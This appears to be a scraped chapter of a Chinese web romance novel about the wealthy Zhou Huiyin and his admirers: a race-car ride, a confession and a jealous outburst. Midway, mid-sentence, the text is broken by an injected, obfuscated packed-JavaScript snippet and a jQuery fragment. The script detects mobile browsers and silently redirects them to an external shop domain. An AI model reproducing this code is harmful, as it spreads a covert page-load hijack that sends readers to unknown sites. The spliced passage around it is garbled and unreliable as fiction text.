文趣网 > 都市小说 > 当你爱上周蕙因 > 23.第 23 章
    谢明凯几乎是硬挤进女武神的副驾里的。

    周蕙因的劝告是对的,他半躺在低矮的座椅上,像被塞进了尺寸不合的模具里,浑身被紧紧地束缚住,毫无活动空间。

    周蕙因旁观他窘迫的不自在,笑着说他是自己找罪受。

    但他没再说让他下车,劝他放弃之类的话,而是指向靠近肩部的座椅内侧,对他说:“一会儿吵得很,先把耳机戴上。”

    谢明凯听话照做,他想到女武神的速度,有点跃跃欲试:“我准备好了。”

    “需要准备啥啊。”周蕙因也戴好了耳机,声音通过内部对讲系统直接传进谢明凯的耳朵里,两幅耳机仿佛为他们构起了一个小世界。

    周蕙因又说:“你这体格塞进来,戴头盔的空间都没了,所以只能带你兜两圈,跑快是别想了。”

    “也好,我该知足了。”谢明凯的嘴角勾了一下,“二十岁能坐上女武神副驾,全靠我这张脸。”

    “谢谢它。”谢明凯闭上眼,虔诚地说。

    周蕙因被他逗乐了:“全靠你脸皮厚。”

    谢明凯认真地点点头:“是这个道理。”

    周蕙因哼了声,没再接话,而是踩着油门,控制着女武神缓缓滑进已经空无一人的赛道。

    速度不快,确实是在看风景。

    周蕙因刚结束高速飞驰的竞赛,状态还没有完全退出来,因此这样的速度难免让他有些兴趣缺缺,而女武神的车窗无法升降,他连把手搭在窗沿上吹吹风、耍耍酷都做不到。

    在上赛这条专业漂亮的赛道上,他开着一台搭载V12引擎的、被誉为合法上路F1的女武神,却只保持着一百码的速度。

    “唉,老爷爷遛弯儿。”周蕙因悠悠叹了口气,带着些哀怨,“为了满足你,我和我的车可都委屈死了。”

    谢明凯倒也直接:“对不起。”

    “没关系,我原谅你了。”周蕙因心安理得地收下了他的道歉。

    剩下的路程里,两人都安安静静的,周蕙因的神情是专注中带着点百无聊赖,而谢明凯偏着头,一直注视着他,舍不得眨眼。

    落日的霞光洒落在赛道上,女武神驶入的是一条黄金路,光从前方跃进车内,于是周蕙因握着方向盘的双手镀了金,于是翘起的长睫,脸颊细软的绒毛,被染上暖光。

    于是他的双眸深处浮上一层浅金色。

    隔音极好的耳机让谢明凯的世界变得好安静,巨大的风噪、引擎的嘶鸣、轮胎的摩擦,这些所有让人兴奋的刺激因子被隔绝在耳机之外,他都感受不到了。

    耳边只余下周蕙因轻轻浅浅的呼吸声,只余下周蕙因偶尔哼出的两句曲调。

    他想,周蕙因可能没有那么委屈。

    他想,可周蕙因还是受到了委屈。

    *

    女武神再次停在P房前,但两人都没急着下车。

    周蕙因猜想谢明凯可能还有话要说,正好他也不差这点时间。

    所以他摘下耳机,手指在方向盘上轻轻敲了两下,用一双金色尚未褪尽的杏眼看向副驾。

    谢明凯没有直接进入正题,而是先问:“我能摸一下方向盘吗?”

    周蕙因利落地将方向盘拆了下来,递给他。

    谢明凯接过后,双手直接覆上周蕙因刚刚握过的位置,他紧了紧手掌,扣住握把的弧度,轻轻摆弄了一下。

    然后他发出一声喟叹:“原来是这样的感觉。”

    “什么感觉?”周蕙因问。

    “梦想唾手可及的感觉。”谢明凯说。

    可他很快补充道:“我的梦想,亿万人的梦想,对你来说唾手可及。”

    “周蕙因。”谢明凯突然笑了起来,取出随身带了许久的挂件与方向盘一并放在周蕙因的手里。

    “前几天,我去了趟爱马仕。”谢明凯指着那只小巧的挂件,目视周蕙因,“第一次去,什么都不懂,兜里揣着一张三百万存款的卡,张嘴就说可以接受好几倍的配货,要给你买喜欢的Kelly doll。”

    “可却被告知,我现在没有购买资格。”

    “所以我只买得起这个Kelly doll挂件,买下来后,其实我犹豫了很久,要不要送给你。”

    “你不会缺这么个小东西,但我还是想告诉你,我真的有在认真了解你的生活。”

    谢明凯顿了顿,语气坚定:“我现在的条件就像你说的,我没有钱,没有时间,我的认知和理解与你有着巨大的鸿沟。”

    “我的经历让我成为了这样的人,成为了普通人中的佼佼者,”他说,“但在你的世界里,我的存在和作用可能还不如你的一个头盔。”

    “所以我要谢谢你。”谢明凯笑意愈发灿烂,“谢谢你激起了我斗志。”

    “周蕙因,女武神的副驾真的很难受。”谢明凯的语气带着点说不明的释然,“但我会记住这种感觉。”

    谢明凯说完了,周蕙因也听完了。

    但他真情流露的话语没有让周蕙因的情绪有什么起伏,他的心情依旧,表情也没有变化。

    这些话他早就从不同人的嘴里听到了太多遍。

    不同人用不同的措辞、不同的语气,相似的口吻和内核说,说喜欢他,要追逐他。

    而也是同样的他们,说喜欢他太累太难受,然后再也没有了后续。

    所以周蕙因没有对谢明凯的剖白给出任何评价,只是说:“祝你成功。”

    祝你早日成功地知难而退。

    *

    周蕙因的日子依然不咸不淡地过着。

    大部分时间用来进行千篇一律的玩乐,剩下的小部分时间用来独自消化那些莫名产生的郁结情绪,以及继续他那为数不多的正事。

    可惜好景不长,他本就少得可怜的正事又没了一件。

    杨海娣的离开来得猝不及防,可能是她终于有了点自己的思想,可能是她不再那么百依百顺,也可能是她弟弟的升学不太顺利。

    总而言之,再一次参加社工活动的时候,周蕙因和谢明凯都在,但他们关心的杨海娣却没有出现。

    杨海娣没有自己的联系方式,所以周蕙因想和她继续线上联系都做不到,他惊愕又空落的表情太过让人揪心,于是宋晓蕾主动过来宽慰他说:“海娣有我的联系方式,也有你的。”

    “我们陪了她几个月,关系建立得很好,海娣这么聪明,”宋晓蕾说,“所以,放心吧,如果真的遇到了棘手的困难,我相信她会联系我们的。”

    “希望吧。”周蕙因突然找不到继续留在这里的意义,他木着一张脸说,“走了。”

    谢明凯从身后追上来,情急之下,他逾矩地握住了周蕙因的手腕,一个力度不大的拦停动作,成功让周蕙因停下脚步。

    周蕙因抬眼看他,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17943789|213672||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    眼神里带着厌烦。

    “我们以后还来吗?”谢明凯艰难地开口,明明知道答案,还是问了出来。

    “你想来就来。”周蕙因拉开他的手,再次转身离开。

    谢明凯站在原地,睁着一双因忙碌而变得无比干涩的眼,看着那道背影消失在走廊尽头,走回了他的世界。

    那也是后来好长的一段时间里,他最后一次面对面地看见周蕙因。

    *

    周蕙因心情不好的时候就会玩得很凶,只要不违法,随便什么活动、随便什么人都可以,他只图在极度疲累之后能睡一个安稳的觉。

    他自己有分寸,身边的人也有分寸,可偏偏这次曲励白失了分寸。

    周蕙因实在不能理解曲励白的愤怒,但两人确实有些别样的情分,周蕙因也不愿为了一些小事选择在外人面前去落曲励白的面子。

    于是他仰头喝完了杯中剩下的酒,跟在曲励白的身后回了家。

    曲励白心里不知憋着什么气,把人劝回来之后也只是一言不发地进了厨房,煮醒酒汤、做吃食,锅碗碰撞的声音在深夜里显得格外清晰。

    他不说,周蕙因自然也不会管,他卸了妆,泡了个澡,再出来的时候曲励白已经坐在餐桌前了,他的对面是周蕙因常坐的位置,已经摆好了一碗温度刚好的醒酒汤,旁边是一盘周蕙因昨天随口提过想吃的紫菜炒饭。

    周蕙因走过去坐下,嫌弃地推开那碗醒酒汤:“我又没喝醉。”

    于是曲励白起身,再次一言不发地进了厨房,很快在他面前放了杯蜂蜜水。

    这回周蕙因喝了,他舀了一勺炒饭送进嘴里,曲励白的手艺很好,但周蕙因的心情依然不爽:“摆出这副样子给谁看呢。”

    曲励白用着堂而皇之的借口,说出口的话却像是在极力压着什么:“周哥,我是在关心你,你不觉得,这段时间的频率,有点太过分了吗?”

    “你指什么?烟、酒、性?”周蕙因嗤笑一声,“难道我之前没有吗?”

    曲励白没有接话,被他堵得哑口无言。

    周蕙因把勺子丢开,勺子和瓷盘碰撞,发出一声刺耳、不容忽视的脆响:“说实话,我没有那个耐心去猜。”

    “……是那个男生,”再次将话说出口,曲励白的声音不可控地带上了深深的嫉妒,“周哥,这段时间,你为什么会选一个普通人陪你?以前那些至少……跟你是同一个圈子的人。”

    他将“普通人”这三个字咬得很重,像在指控周蕙因做出了一件令他无法理解的事情。

    周蕙因的怒气几乎是瞬间就升腾起来:“什么叫普通人?你不是吗?我不是吗?”

    怒气之下是更盛的委屈,曲励白凭什么质问他,他和谁玩、和谁玩多久,为什么要和任何人解释?

    曲励白是站在什么立场,为了一个只陪了自己几天的、无足轻重的人而冲着自己发脾气。

    周蕙因的脸上带着浓重的不解:“曲励白,你脑子里在想什么?”

    曲励白攥紧了拳头,用力得指节泛白,他终于下定了决心:“我在想,如果你能接受普通人。”

    “那为什么不能是我。”曲励白不再忍耐,他说出自己深藏许久、被最后一根稻草压出来的心意。

    “周哥,如果他可以,那我也可以。”

    这句话落进空气里,先是陷入安静,随后是周蕙因的一声冷笑。